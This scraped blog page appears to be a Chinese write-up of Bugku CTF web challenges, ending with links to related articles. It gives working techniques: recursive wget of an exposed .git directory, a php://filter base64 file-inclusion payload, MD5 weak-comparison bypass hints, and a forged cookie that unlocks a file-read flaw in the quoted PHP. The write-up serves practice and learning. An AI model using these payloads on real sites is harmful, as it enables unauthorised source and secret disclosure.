bugku web篇(一)

简介: bugku web篇(一)

bugku web篇(一)

source

WEB

描  述: 我哥说渗透我只用linux环境

wget -r http://114.67.246.176:17328/.git

下载后进入目录

cmd

git reflog

git show xxx

xxx为git reflog出来的东西的名字,git show 40c6d51

源代码WEB 已解决

分数: 20 金币: 2

题目作者: harry

一  血: lsmzr

一血奖励: 1金币

解  决: 6813

提  示:

描  述: 看看源代码?

文件包含

WEB 已解决

描  述: flag{}

http://xxxx/?file=php://filter/read=convert.base64-encode/resource=index.php

好像需要密码

WEB

描  述: 好像需要密码

备份是个好习惯

WEB 未解决

描  述: 备份是个好习惯

1、弱类型比较:科学计数法和数组都可以 2、复写key绕过

dirsearch扫描出bak备份目录,然后分析源码,使用md5绕过

cookies

WEB 未解决

描  述: cookies欺骗

通过以上python 脚本,即可读取index.php的源代码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    $file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
}
?>
构造Cookie 信息
Cookie: margin=margin
keys.php 进行base64 编码a2V5cy5waHA=

相关文章
|
9月前
|
JavaScript 前端开发
Bugku CTF web 你必须让他停下来 解题思路
Bugku CTF web 你必须让他停下来 解题思路
49 2
|
9月前
Bugku CTF web GET 解题思路
Bugku CTF web GET 解题思路
63 0
|
9月前
bugku ctf Web POST 解题思路
火狐插件HackBar
80 0
|
安全 JavaScript Shell
bugku web篇(二)
bugku web篇(二)
205 0
bugku web篇(二)
|
SQL 安全 PHP
bugku web篇(三)
bugku web篇(三)
87 0
bugku web篇(三)
|
程序员 Shell PHP
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)总结
278 0
CTF BugKu平台———(Web篇②)
|
Shell PHP 开发工具
CTF BugKu平台—(Web篇①)
CTF BugKu平台—(Web篇①)
501 0
|
2天前
|
存储 安全 前端开发
第五章 跨域资源共享(CORS):现代Web开发中的关键机制
第五章 跨域资源共享(CORS):现代Web开发中的关键机制
|
4天前
|
设计模式 开发框架 数据库
Python Web开发主要常用的框架
【5月更文挑战第12天】Python Web开发框架包括Django、Flask、Tornado和Pyramid。Django适用于复杂应用,提供ORM、模板引擎等全套功能;Flask轻量级,易于扩展,适合小型至中型项目;Tornado擅长处理高并发,支持异步和WebSockets;Pyramid灵活强大,可适配多种数据库和模板引擎,适用于各种规模项目。选择框架需依据项目需求和技术栈。
121 2
|
1天前
|
数据安全/隐私保护
那些酷炫的网页你也可以做到——第六篇,小型公司web开发
那些酷炫的网页你也可以做到——第六篇,小型公司web开发